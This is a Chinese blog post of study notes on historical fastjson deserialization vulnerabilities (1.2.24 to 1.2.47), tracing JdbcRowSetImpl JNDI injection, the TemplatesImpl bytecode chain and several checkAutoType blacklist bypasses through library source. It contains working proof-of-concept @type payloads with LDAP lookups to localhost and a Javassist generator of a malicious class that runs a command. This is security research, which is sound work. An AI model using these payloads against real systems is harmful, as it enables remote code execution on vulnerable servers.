fastjson历史漏洞学习

前言

这里不做fastjson的基础知识介绍,如需要请看我下面参考的文章来学习,这里只是一些笔记和一点我的思考记录罢了。

简单说明下三种方式的区别:

parse("")和parseObject("",class)会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法,他们两个的调用链也是完全一样。

差别在于parseObject("",class)在调用JavaBeanInfo.build() 方法时传入的clazz参数源于parseObject方法中第二个参数中指定的类,而parse("")这种方式调用JavaBeanInfo.build()方法时传入的clazz参数获取于json字符串中@type字段的值。

而parseObject("")这种方式返回值为JSONObject类对象且调用全部的seter和geter当然测试String也是不行具体就不知道了稍微跟了一下,JSON.toJSON()方法会将目标类中所有getter方法记录下来,然后依次通过反射调用目标的geter。

然后这里再说一下目标类的私有变量且没有seter和geter的话,如何想要赋值,需要使用Feature.SupportNonPublicField参数。

调用set和get的条件:

set

  • 方法名长度大于4且以set开头,且第四个字母要是大写

  • 非静态方法

  • 返回类型为void或当前类

  • 参数个数为1个

get

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
  • 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)

fastjson<=1.2.24

JNDI之JdbcRowSetImpl

jndi注入的利用链也是通用性比较强的,当然前提出网。因为他在fastjson的三种方式都可以使用。

我们知道我们利用jndi注入需要满足两个条件

  • url可控

  • 存在Java漏洞环境版本

刚好com.sun.rowset.JdbcRowSetImpl类有一个点是存在url可控的

JdbcRowSetImpl#setAutoCommit

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            //会进入connect
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }

JdbcRowSetImpl#connect

protected Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            //如果要进来我们需要getDataSourceName不为空且他也是我们的关键
            
            //下面两个话就是触发漏洞代码
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

我们需要找到getDataSourceName()在哪里赋值的

JdbcRowSetImpl#getDataSourceName

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
        throw new SQLException("DataSource name cannot be empty string");
    } else {
        dataSource = name;
        //这里是直接赋值
    }

    URL = null;
}

所以我们就可以写出一个demo

public class JdbcRowSetImpl_client {
    public static void main(String[] args) throws SQLException {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
        JdbcRowSetImpl_inc.setDataSourceName("rmi://localhost:1099/obj");
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }
}

然后尝试使用fastjson的@type来使服务端执行上面代码

public class jndi_fastjson {
    public static void main(String[] args) {
        String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

image-20220218212516496

TemplatesImpl利用链

基础知识在cc3和jdk7u21已经学习过了这里不再阐述,这里利用它的话条件相对苛刻。可以说是有一点鸡肋的感觉。

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为payload需要给一些private属性赋值。我们知道构造恶意的TemplatesImple需要满足如下条件

  • _bytecodes 是由字节码组成的数组;
  • _name 可以是任意字符串,只要不为null即可;
  • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错。
  • TemplatesImpl 必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

代码这里直接使用@lala大佬的,我们也写过很多次了,就不写了。

public class TemplatesImpl_fastjson {
    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala{

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] lalaByteCodes = cc.toBytecode();

        return lalaByteCodes;
    }
    //生成payload,触发payload
    public static void  poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);
        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc而已
    public static void main(String args[]){
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里或许有三点疑惑

_bytecodes前面不是刚刚说了需要字节码,然后为什么这里使用base64编码。
_tfactory 不是需要是一个 TransformerFactoryImpl 对象吗,为什么这里为空。
_outputProperties字段是如何调用getOutputProperties的。

_bytecodes加密

这里最开始的流程都自己跟一次吧这里不讲述,参考文章里面都有具体的讲解。

从javaBeanDeserializer到DefaultFieldDeserializer我们可以看到value值在哪里处理的然后进行赋值的。跟进DefaultFieldDeserializer:68

image-20220218224254293

然后跟进到ObjectArrayCodec#deserialze,前面就是一些字段类型的判断,不一一记录了,然后进入154

image-20220218224442688

跟进到DefaultJSONParser#parseArray在682进行解析,因为type就是我们赋值过去的数组

image-20220218224923233

然后又到ObjectArrayCodec#deserialze进行解析

image-20220218230019851

然后就进行解码

image-20220218225312716

所以我们需要编码一下,那么序列化是不是也会对byte进行编码呢,尝试一下当然也是OK

image-20220218230523894

_tfactory为空

JavaBeanDeserializer#parseField进行设置值

image-20220219101048545

进入JavaBeanDeserializer#parseRest,因为为空会新建实例进行赋值

image-20220219100918526

至于_tfactory为什么会知道是TransformerFactoryImpl呢?

/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
//这是在类中已经定义好了。
private transient TransformerFactoryImpl _tfactory = null;

_outputProperties

在字段解析之前,会对于当前字段进行一次智能匹配

JavaBeanDeserializer#parseField

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer; 
        FieldDeserializer fieldDeserializer = smartMatch(key);
    //进入

JavaBeanDeserializer#smartMatch

image-20220219101910176

替换以后就去寻找getter和seter,所以即使我们添加为-也是可以的。剩下的流程就和其他也一样了。

fastsjon 1.2.5-1.4.1

1.2.5开始引入了checkAutotype安全机制,通过黑白名单机制进行防御。

checkAutotype安全机制

阅读https://github.com/alibaba/fastjson/wiki/enable_autotype

例如我们写的一个demo在1.2.5就不行了。

image-20220219182640814

必须要将AutoTypeSupport设置为True

image-20220219182820805

我们来调试一下看下黑名单,发现基本堵死

image-20220219183643024

然后看下源代码知道这里不管false还是true对会进行同样的操作和检查也就是黑白名单操作,并且判断了加载的clazz是否继承自Classloader与DataSource。所以基本堵的死死的,所以这里都是以AutoTypeSupport为True的情况下进行的

image-20220219185813273

可以发现是先对clazz赋值的,我们去查看下。

image-20220219190419560

我们可以看到第一处的作用是匹配以”[”开头的字符串,而第二处则是匹配以”L”开头,以”;”结尾

这里解释一下[;到底是什么:

  • 这种类型的字符串其实是一种对函数返回值和参数的编码,名为JNI字段描述符
    [就是代表数组 [[就是double[][]。
  • xxx[]对应的类对象则为"[xxx;"

那么L;又是什么东西呢

  • 这种形式叫类描述符,”L”与”;”之间的字符串表示着该类对象的所属类

所以实际上是用来解析传入的数组类型的Class对象字符串

所以poc

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
JSON.parse(payload);

fastjson 1.2.42

1.2.42版本在处理了1.2.41版本的漏洞后。很快又被发现存在着绕过方式,我们再去查看下1.2.42的checkAutotype

image-20220219213719506

黑名单也变成了

image-20220219213845430

hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)

public static long fnv1a_64(String key){
        long hashCode = 0xcbf29ce484222325L;
        for(int i = 0; i < key.length(); ++i){
            char ch = key.charAt(i);
            hashCode ^= ch;
            hashCode *= 0x100000001b3L;
        }
        return hashCode;
    }
//可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算

有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。

再是对于传入的类名,删除开头L和结尾的;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        // 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
        // 可以发现这边只进行了一次删除
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            className = className.substring(1, className.length() - 1);
        }

所以我们传入两个即可

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
JSON.parse(payload);

fastjson 1.2.45

1.2.43对于1.2.42绕过进行了修复

//hash计算基础参数
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            //L开头,;结尾
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                //LL开头
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    //直接爆出异常
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

可见就对了LL开头的绕过进行了封堵。那么如何继续利用呢?就只能寻找不在黑名单的利用链来进行攻击【当然这是在关闭白名单的情况下进行的】

那么1.2.45也就有师傅利用mybatis库进行绕过,这里安装的mybatis是3.5.5

 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/test\"}}";
JSON.parse(payload);

image-20220219215715824

漏洞原因也就和上面一样了

image-20220219215919299

fastjson 1.2.47[不太一样]

然后1.2.46修复也是增加很多黑名单,这种修复方式的一个问题就是随着java的更新也会出现很多包的更新所以可能又存在绕过。1.2.47这个链子并不是绕过黑名单。所以说是不太一样。

这里先给出POC吧【这里逆向分析下,从0day如何产生的角度分析会贴一个大佬的文章】

public static void main(String[] argv) {
        String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
        "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
        "\"ldap://127.0.0.1:9999/obj\",\"autoCommit\":true}}}";
        JSON.parse(payload);
        }

我们可以看到poc构造了两个json字符串,并且他并没有关闭白名单的校验。我们这里直接跳过fastjson的解析流程,看看checkAutoType安全模块的操作。

前面都一样了,就不解读了,直接跟踪如何生成clazz然后再来解读。
image-20220220140422477

会调到TypeUtils#getClassFromMapping

image-20220220140436503

这里的mapings有是什么呢?发现是一些很多常用的类他是怎么来的呢?

image-20220220140527982

我们发现Fastjson在开始解析json前会优先加载配置,在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类和三方库存放到一个ConcurrentMap对象mappings中,类似于缓存机制

image-20220220134901481

然后再mappings并没有发现我们的类,继续跟到这里

image-20220220140649670

然后进入findClass

image-20220220140811291

会发现他会遍历buckets,取出其中元素的key属性值的名称并与传入的”java.lang.Class”进行比较,如果二者相同,则将这个Class对象返回。那么我们追踪下buckets又怎么来的呢

ParserConfig#initDeserializers

image-20220220142211484

initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类

然后会到流程上面来,我们构造的typeName被findClass方法匹配到了,因此java.lang.Class类对象被返回

image-20220220142503308

所以我们大致知道了用户只有传入的@type字段字段值在两个集合中任意一个,checkAutoType都将会直接将其对应的Clazz返回

MiscCodec.java#deserialze加载我们的clazz,这里解读下代码

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;

        //clazz类型等于InetSocketAddress.class的处理。
        //我们需要的clazz必须为Class.class,不进入
        if (clazz == InetSocketAddress.class) {
            ...
        }

        Object objVal;
        if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);
            if (lexer.token() == JSONToken.LITERAL_STRING) {
                //判断解析的下一处的值是否为val,如果不是val,报错退出
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }
            //取出json字符串中val值
            parser.accept(JSONToken.COLON);
            //并将其值的代码取出赋值给objVal变量。
            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            //当parser.resolveStatus的值不为TypeNameRedirect
            //直接解析下一个解析点到objVal
            objVal = parser.parse();
        }

        String strVal;
        //将objVal变量值转换为String类型并赋值strVal变量
        if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;
        } else {
           ...
        }

        if (strVal == null || strVal.length() == 0) {
            return null;
        }

        //省略诸多对于clazz类型判定的不同分支。

        //可以得知,我们的clazz必须为Class.class类型
        if (clazz == Class.class) {
            //我们由这里进来的loadCLass
            //调用TypeUtils.loadClass处理val值
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

我们继续往下看看TypeUtils.loadClass中的操作

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        if(className == null || className.length() == 0){
            return null;
        }
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            return clazz;
        }
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try{
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
           ..
        }

classname也就是我们传入的字符串也就是val,我们可以发现如下代码

ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
	clazz = contextClassLoader.loadClass(className);
	if (cache) {
		mappings.put(className, clazz);
	}

	return clazz;
}

因为cache默认是为true的,然后将className、clazz键值对加入mappings集合

image-20220220152221987

加入后

image-20220220152249596

然后返回clazz,随着加载我们的第二个json字符串然后因为mapings可以发现我们加入的恶意类,所以程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。

image-20220220152731700

所以整体流程就是

DefaultJSONParser#parseObject#传入Class.class

进入MiscCodec#deserialze拿到val放入objval传递给strval,因为clazz=Class.class

进入TypeUtils#loadClass传入strval

因为cache默认为true调用mappings.put

参考

https://paper.seebug.org/1343/
https://paper.seebug.org/1274/
https://xz.aliyun.com/t/7027#toc-17
https://paper.seebug.org/1319/#0x04-fastjson-1245
https://github.com/alibaba/fastjson/wiki/enable_autotype
posted @ 2022-02-20 15:43  R0ser1  阅读(113)  评论(0编辑  收藏  举报